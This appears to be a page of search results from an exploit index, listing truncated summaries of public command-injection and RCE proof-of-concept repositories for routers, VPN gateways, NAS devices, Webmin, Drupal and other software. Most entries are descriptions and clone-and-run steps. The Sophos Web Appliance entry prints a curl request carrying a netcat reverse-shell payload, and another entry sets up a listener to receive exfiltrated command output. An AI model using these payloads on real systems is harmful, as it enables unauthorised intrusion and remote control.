93268 matches found
CVE-2023-34960
CVE-2023-34960 Mass unauthenticated command injection Chamilo Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Get start with $ git clone https://github.com/Pari-Malam/CVE-2023-34960 $ cd CVE-2023-34960 $ pip/pip3 install -r requirements.txt $ python/python3 exploit.py Footprints...
CVE-2018-10562
CVE-2018-10562 CVE-2018-10562 exploit Acerca de RCE en routers domésticos GPON CVE-2018-10561:Bypass de autenticación CVE-2018-10562: Inyección de comandos Dependencias requeridas requests urllib2 ssl re Capturas de pantalla...
ivanti-CVE-2024-21887
ivanti-CVE-2024-21887 Comprobador de POC para la inyección de comandos en ivanti CVE-2024-21887...
poc-rebar3
Inyección de shell en Rebar3 CVE-2020-13802 ===== Prueba de concepto git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean Crédito Alexey Pronin @vulnbe Referencias Análisis de la vulnerabilidad de Rebar3 PR de remediación de la vulnerabilidad CVE-2020-13802 CWE-78:...
TP-Link-ArcherC5-RCE
TP-Link Archer C5 RCE Autenticado a Través de Carga de Archivo de Configuración Malicioso CVE-2018-19537 Descripción Existe una vulnerabilidad de ejecución remota de código RCE autenticada en todas las versiones de firmware publicadas para el router TP-Link Archer C5. Al cargar un archivo de...
CVE-2026-52616
CVE-2026-52616 — mcp-nmap-server: OS command injection via runnmapscan The runnmapscan MCP tool builds its command by string interpolation of the target and additionalFlags parameters and runs it through childprocess.exec, i.e. /bin/sh -c. ⚠ Read this first — duplicate identifier This vulnerabili...
CVE-2024-10914
CVE-2024-10914 Se encontró una vulnerabilidad en D-Link DNS-320, DNS-320LW, DNS-325 y DNS-340L hasta 20241028. Ha sido declarada como crítica. Esta vulnerabilidad afecta a la función cgiuseradd del archivo /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. La manipulación del argumento name conduce a una...
CVE-2024-55503
CVE-2024-55503 Termius App MacOS dylib Inyección de comandos Descripción Un problema en termius anterior a v.9.9.0 permite a un atacante local ejecutar código arbitrario mediante un script manipulado en el componente DYLDINSERTLIBRARIES. usando dylib DYLDINSERTLIBRARIES=exploitcombined.dylib...
CVE-2026-94095
Netcore NBR200V2 - Remote Command Injection in Traceroute Diagnostic Feature CVE-2026-94095 Field| Value ---|--- Vendor| Netcore Model| NBR200V2 Firmware Version| V1.3.241127.071246 Affected Component| /usr/bin/networktools Vulnerability Type| OS Command Injection CWE-74 / CWE-77 CVSS 3.1| 9.9...
CVE-2026-19586
CVE-2026-19586 PoC TP-Link Omada SSL VPN Unauthenticated RCE CVE-2026-19586 Overview A command injection vulnerability CWE-78 in the SSL VPN authentication path of TP-Link Omada gateway firmware allows an unauthenticated attacker to execute arbitrary commands as root. When the OpenVPN-based SSL V...
CVE-2025-32375
Configuración para la versión vulnerable. Inicia el contenedor vulnerable: docker compose up Crea un listener por ejemplo, ncat: ncat -klnv 1337 Ejecuta el exploit: python3 exploit.py Deberías recibir una petición HTTP en la ventana de ncat con el contenido del comando del sistema operativo id po...
CVE-2019-3929
CVE-2019-3929 Módulo de Metasploit para Inyección Remota de Comandos en Crestron/Barco/Extron/InFocus/TeqAV CVE-2019-3929 Según la descripción de Tenable: Un atacante remoto no autenticado puede ejecutar comandos del sistema operativo como root mediante solicitudes manipuladas al endpoint HTTP...
CVE-2025-14558
CVE-2025-14558 Inyección de comandos DNSSL en rtsold de FreeBSD RCE Descripción rtsold8 no valida los nombres de dominio DNSSL en busca de metacaracteres de shell antes de pasarlos a resolvconf8. La sustitución de comandos mediante $ permite la ejecución remota de código desde una red adyacente...
CVE-2023-1671
CVE-2023-1671 Pre-Auth RCE en Sophos Web Appliance Poc curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header,...
CVE-2019-15107
Exploit de Webmin CVE-2019-15107 CVE-2019-15107 Se descubrió un problema en Webmin =1.920. El parámetro old en passwordchange.cgi contiene una vulnerabilidad de inyección de comandos. NVD Compilación $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make Ejemplo de u...
CVE-2026-28672
CVE-2026-28672 — Inyección de comandos del sistema operativo en UnixUserGroupBuilder de Apache Ranger Reproductor de prueba de concepto ejecutable para la inyección de comandos del sistema operativo en el módulo de sincronización de usuarios unixusersync de Apache Ranger. Mientras enumera los...
CVE-2026-10520
CVE-2026-10520 Ivanti Sentry anteriormente MobileIron Sentry es una puerta de enlace de seguridad empresarial que actúa como proxy del tráfico entre dispositivos móviles y los recursos backend corporativos: correo electrónico, SharePoint y aplicaciones web internas. Aplica políticas de Mobile...
CVE-2018-6961
Exploit CVE-2018-6961 en Python3 VMware NSX SD-WAN Edge de VeloCloud anterior a la versión 3.1.0 contiene una vulnerabilidad de inyección de comandos en el componente de interfaz web local. Este componente está deshabilitado por defecto y no debe habilitarse en redes no confiables. VeloCloud de...
Drupalgedon3
POC para el exploit de Drupal SA-CORE-2018-004 / CVE-2018-7602 Autor Alexandre Nguyen Uso usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url...
